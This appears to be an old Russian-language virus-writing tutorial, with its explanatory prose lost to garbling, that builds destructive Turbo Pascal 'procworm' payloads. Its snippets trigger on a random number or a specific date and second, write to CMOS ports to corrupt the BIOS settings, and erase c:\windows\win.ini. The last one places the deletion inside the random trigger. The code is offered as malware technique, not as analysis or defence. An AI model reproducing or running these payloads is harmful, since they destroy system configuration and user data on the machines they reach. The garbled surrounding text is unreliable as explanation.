     "  1.0"

      .
1)    , ..        .


Procedure procworm;
Var
I:Integer;
Begin
  Randomize;
  I:=Random(10);
  If i=5 then 
		BEGIN 
            writeln('Hello!'); 
         END;
end;


          1  10.


2)    .


Procedure procworm;
var
 hp,mp,sp,dsp:word;
Begin
getdate(hp,mp,sp,dsp);
if (dsp=6) and (sp=14) then 
            BEGIN
               writeln('Hello!');
            END;
end;


     14- .
: hp - , mp - , sp - , dsp -  .


        -   "Hello!",          "writeln('Hello!');".

  CMOS:

 port[$70] := $2E;
 port[$71] := $00;
 port[$70] := $2F;
 port[$71] := $00;

  CMOS  asm-:

asm
mov ax, 1010h
mov dx, 70h
out dx, ax
end;

 :

assign(f32,'c:\windows\win.ini');
reset(f32);
erase(f32);

     var   "f32:text;", ..       (  ):


Procedure procworm;
Var
I:Integer;
f32:text;
Begin
  Randomize;
  I:=Random(10);
  If i=5 then 
		BEGIN 
              assign(f32,'c:\windows\win.ini');
              reset(f32);
              erase(f32);
         END;
end;


     .


 ,            .



(c) MW.